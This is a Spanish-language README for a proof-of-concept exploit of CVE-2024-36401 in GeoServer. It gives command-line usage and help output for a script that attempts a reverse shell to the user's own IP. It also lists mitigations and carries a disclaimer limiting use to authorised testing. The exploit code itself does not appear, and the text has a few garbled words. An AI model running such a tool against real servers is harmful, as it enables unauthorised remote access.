
POC para CVE-2024-36401. Este POC intentará establecer un reverse shell desde los objetivos vulnerables.
POC para CVE-2024-36401 GeoServer. Este POC intentará establecer un shell inverso del sistema desde los objetivos.

POC para CVE-2024-36401: RCE para versiones de GeoServer anteriores a 2.25.1, 2.24.3 y 2.23.5. Este POC se basa en el aviso de seguridad de phith0n.
Este POC intentará establecer un shell inverso desde los objetivos vlun. Está diseñado para funcionar contra objetivos Linux vlun. Deberás tener una máquina con una IP publicada y accesible para ejecutar este POC.
requestsPara usar este POC contra un solo objetivo:
python CVE-2024-36401.py -u HTTP://TARGET:9090 -ip YOUR-IP -port LOCAL-PORT-NUMBER -type GeoServer-Object-Type
Ayuda:
python3 CVE-2024-36401.py -h
options:
-h, --help show this help message and exit
-u U Target, example https://target:8080
-ip IP Your IP, example 192.168.1.1
-port PORT Port, example 1337
-type TYPE Type, example sf:archsites
1- Deshabilitar las solicitudes WFS.
2- Asegura tu Linux configurando iptables para deshabilitar conexiones inversas, establecer políticas predeterminadas para denegar todo el tráfico, permitir conexiones establecidas y relacionadas, y permitir solo tráfico saliente esencial como DNS, HTTP y HTTPS.
3- O actualizar a la última versión de GeoServer.
Para cualquier sugerencia o idea, por favor ponte en contacto con me.
Me gusta crear mis propias herramientas por diversión, trabajo y solo con fines educativos. No apoyo ni fomento el hacking o el acceso no autorizado a ningún sistema o red. Por favor, usa mis herramientas de manera responsable y solo en sistemas donde tengas permiso explícito para realizar pruebas.